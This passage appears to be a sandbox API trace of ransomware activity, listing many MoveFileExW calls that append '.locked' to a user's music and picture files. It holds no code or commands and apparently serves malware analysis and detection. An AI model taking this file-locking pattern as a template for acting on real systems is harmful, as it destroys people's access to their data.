"c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kprei\\xneodi4sd.m4a.locked"), dwFlags=0x2) returned 1 [0172.973] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4Y2f.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4y2f.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4Y2f.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4y2f.mp3.locked"), dwFlags=0x2) returned 1 [0173.045] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bKhX.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bkhx.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bKhX.m4a.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bkhx.m4a.locked"), dwFlags=0x2) returned 1 [0173.123] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gSxAJnmZ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gsxajnmz.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gSxAJnmZ.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gsxajnmz.wav.locked"), dwFlags=0x2) returned 1 [0173.130] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\LAEQOHTUaPG.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\laeqohtuapg.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\LAEQOHTUaPG.m4a.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\laeqohtuapg.m4a.locked"), dwFlags=0x2) returned 1 [0173.216] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\McxV.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mcxv.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\McxV.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mcxv.wav.locked"), dwFlags=0x2) returned 1 [0173.272] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NVy7.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nvy7.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NVy7.m4a.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nvy7.m4a.locked"), dwFlags=0x2) returned 1 [0173.295] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\oUWGm4Z2rkHbqSPC-pmb.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ouwgm4z2rkhbqspc-pmb.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\oUWGm4Z2rkHbqSPC-pmb.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ouwgm4z2rkhbqspc-pmb.mp3.locked"), dwFlags=0x2) returned 1 [0173.344] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\s2mEeJZBQH.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\s2meejzbqh.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\s2mEeJZBQH.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\s2meejzbqh.wav.locked"), dwFlags=0x2) returned 1 [0173.363] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\1gOqvyfWug.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\1goqvyfwug.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\1gOqvyfWug.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\1goqvyfwug.mp3.locked"), dwFlags=0x2) returned 1 [0173.406] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\4WSj5fEHBpuTRYCgxPk.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\4wsj5fehbputrycgxpk.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\4WSj5fEHBpuTRYCgxPk.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\4wsj5fehbputrycgxpk.mp3.locked"), dwFlags=0x2) returned 1 [0173.436] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\8RdwEIbi4jusgEH43.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\8rdweibi4jusgeh43.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\8RdwEIbi4jusgEH43.m4a.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\8rdweibi4jusgeh43.m4a.locked"), dwFlags=0x2) returned 1 [0173.456] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\9p9OTgfF.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\9p9otgff.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\9p9OTgfF.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\9p9otgff.mp3.locked"), dwFlags=0x2) returned 1 [0173.544] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\aXBmpGvpPR_btRBY.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\axbmpgvppr_btrby.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\aXBmpGvpPR_btRBY.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\axbmpgvppr_btrby.mp3.locked"), dwFlags=0x2) returned 1 [0173.584] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\Fr3MREc.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\fr3mrec.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\Fr3MREc.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\fr3mrec.wav.locked"), dwFlags=0x2) returned 1 [0173.660] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\fXx_FhWSr.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\fxx_fhwsr.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\fXx_FhWSr.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\fxx_fhwsr.wav.locked"), dwFlags=0x2) returned 1 [0173.710] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\i023.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\i023.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\i023.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\i023.mp3.locked"), dwFlags=0x2) returned 1 [0173.724] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\LE VtL3.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\le vtl3.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\LE VtL3.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\le vtl3.mp3.locked"), dwFlags=0x2) returned 1 [0173.754] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\N3rL_FX.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\n3rl_fx.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\N3rL_FX.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\n3rl_fx.wav.locked"), dwFlags=0x2) returned 1 [0173.802] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\S2OGN2.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\s2ogn2.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\S2OGN2.m4a.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\s2ogn2.m4a.locked"), dwFlags=0x2) returned 1 [0173.894] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\vh5_TWsPs.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\vh5_twsps.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\vh5_TWsPs.m4a.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\vh5_twsps.m4a.locked"), dwFlags=0x2) returned 1 [0173.925] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\W-Nb8Bv.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\w-nb8bv.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\W-Nb8Bv.m4a.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\w-nb8bv.m4a.locked"), dwFlags=0x2) returned 1 [0173.978] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\y6d-K4W.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\y6d-k4w.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\y6d-K4W.m4a.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\y6d-k4w.m4a.locked"), dwFlags=0x2) returned 1 [0174.020] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\YoYD1.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\yoyd1.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VE1sZCNXbmjqrzor\\YoYD1.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ve1szcnxbmjqrzor\\yoyd1.wav.locked"), dwFlags=0x2) returned 1 [0174.029] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VSWv.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\vswv.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\VSWv.m4a.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\vswv.m4a.locked"), dwFlags=0x2) returned 1 [0174.098] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W784D3qvUNYgDHBsK.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\w784d3qvunygdhbsk.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W784D3qvUNYgDHBsK.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\w784d3qvunygdhbsk.mp3.locked"), dwFlags=0x2) returned 1 [0174.115] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z_tWfFBlaEIN9Q.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z_twffblaein9q.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z_tWfFBlaEIN9Q.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z_twffblaein9q.wav.locked"), dwFlags=0x2) returned 1 [0174.167] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1n 70Y-.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1n 70y-.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1n 70Y-.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1n 70y-.jpg.locked"), dwFlags=0x2) returned 1 [0174.213] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\496 JWHGAbPu.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\496 jwhgabpu.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\496 JWHGAbPu.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\496 jwhgabpu.jpg.locked"), dwFlags=0x2) returned 1 [0174.235] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7w7EkGBhCIaIPAr.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\7w7ekgbhciaipar.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7w7EkGBhCIaIPAr.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\7w7ekgbhciaipar.gif.locked"), dwFlags=0x2) returned 1 [0174.282] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\9O6YuV8HRgxli9Nq.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\9o6yuv8hrgxli9nq.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\9O6YuV8HRgxli9Nq.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\9o6yuv8hrgxli9nq.gif.locked"), dwFlags=0x2) returned 1 [0174.290] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\b4eRODdD.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\b4eroddd.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\b4eRODdD.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\b4eroddd.bmp.locked"), dwFlags=0x2) returned 1 [0174.335] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\bfCv.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bfcv.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\bfCv.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bfcv.gif.locked"), dwFlags=0x2) returned 1 [0174.414] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BxBI0649 dBJy6TE40V.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bxbi0649 dbjy6te40v.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\BxBI0649 dBJy6TE40V.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\bxbi0649 dbjy6te40v.gif.locked"), dwFlags=0x2) returned 1 [0174.424] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\C0op7vNRV8sKeQ kBoK7.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\c0op7vnrv8skeq kbok7.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\C0op7vNRV8sKeQ kBoK7.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\c0op7vnrv8skeq kbok7.gif.locked"), dwFlags=0x2) returned 1 [0174.478] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\eaf6IN-ElBGzDWfElLc.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\eaf6in-elbgzdwfellc.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\eaf6IN-ElBGzDWfElLc.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\eaf6in-elbgzdwfellc.bmp.locked"), dwFlags=0x2) returned 1 [0174.512] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gUslHV2r_82B-fG.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\guslhv2r_82b-fg.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gUslHV2r_82B-fG.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\guslhv2r_82b-fg.gif.locked"), dwFlags=0x2) returned 1 [0174.537] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gZQP.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gzqp.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gZQP.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gzqp.jpg.locked"), dwFlags=0x2) returned 1 [0174.596] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\i7rpTE.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i7rpte.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\i7rpTE.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\i7rpte.bmp.locked"), dwFlags=0x2) returned 1 [0174.602] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\iZlOCvJcv.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\izlocvjcv.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\iZlOCvJcv.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\izlocvjcv.png.locked"), dwFlags=0x2) returned 1 [0174.642] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\K6T4jLdw.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\k6t4jldw.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\K6T4jLdw.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\k6t4jldw.png.locked"), dwFlags=0x2) returned 1 [0174.669] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Lucbf.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\lucbf.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Lucbf.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\lucbf.gif.locked"), dwFlags=0x2) returned 1 [0174.690] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\n6kRxSUZ31_.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\n6krxsuz31_.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\n6kRxSUZ31_.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\n6krxsuz31_.jpg.locked"), dwFlags=0x2) returned 1 [0174.785] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NNL5l0Z.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nnl5l0z.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NNL5l0Z.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nnl5l0z.jpg.locked"), dwFlags=0x2) returned 1 [0174.829] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Nr_q-Q0UGV-UaGR.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nr_q-q0ugv-uagr.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Nr_q-Q0UGV-UaGR.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nr_q-q0ugv-uagr.jpg.locked"), dwFlags=0x2) returned 1 [0174.834] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NUw1lsLQ.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nuw1lslq.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NUw1lsLQ.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nuw1lslq.gif.locked"), dwFlags=0x2) returned 1 [0174.849] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nXfZ4tRc1Qo_td2wI.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nxfz4trc1qo_td2wi.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nXfZ4tRc1Qo_td2wI.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nxfz4trc1qo_td2wi.bmp.locked"), dwFlags=0x2) returned 1 [0174.896] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\oF08.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\of08.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\oF08.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\of08.bmp.locked"), dwFlags=0x2) returned 1 [0174.901] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\oOoNQ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ooonq.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\oOoNQ.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ooonq.jpg.locked"), dwFlags=0x2) returned 1 [0174.992] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PxI3veMqHe1uR.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pxi3vemqhe1ur.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PxI3veMqHe1uR.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\pxi3vemqhe1ur.bmp.locked"), dwFlags=0x2) returned 1 [0175.058] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PY0Qw97O8ZFL4k.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\py0qw97o8zfl4k.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PY0Qw97O8ZFL4k.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\py0qw97o8zfl4k.jpg.locked"), dwFlags=0x2) returned 1 [0175.135] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Q8eGiuUOQkZRsIpf.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q8egiuuoqkzrsipf.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Q8eGiuUOQkZRsIpf.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\q8egiuuoqkzrsipf.bmp.locked"), dwFlags=0x2) returned 1 [0175.185] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\radI.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\radi.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\radI.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\radi.gif.locked"), dwFlags=0x2) returned 1 [0175.261] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sjCqa0Bh53HZt4OkWIPc.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\sjcqa0bh53hzt4okwipc.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sjCqa0Bh53HZt4OkWIPc.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\sjcqa0bh53hzt4okwipc.jpg.locked"), dwFlags=0x2) returned 1 [0175.311] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\U9E0UiJ9jT8HIdiGIUn.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\u9e0uij9jt8hidigiun.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\U9E0UiJ9jT8HIdiGIUn.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\u9e0uij9jt8hidigiun.gif.locked"), dwFlags=0x2) returned 1 [0175.428] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\vzMODKCx_Vubt8jYH.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vzmodkcx_vubt8jyh.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\vzMODKCx_Vubt8jYH.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vzmodkcx_vubt8jyh.jpg.locked"), dwFlags=0x2) returned 1 [0175.435] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\x2ewSiyb1wEl4FQoY-sl.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x2ewsiyb1wel4fqoy-sl.png"), 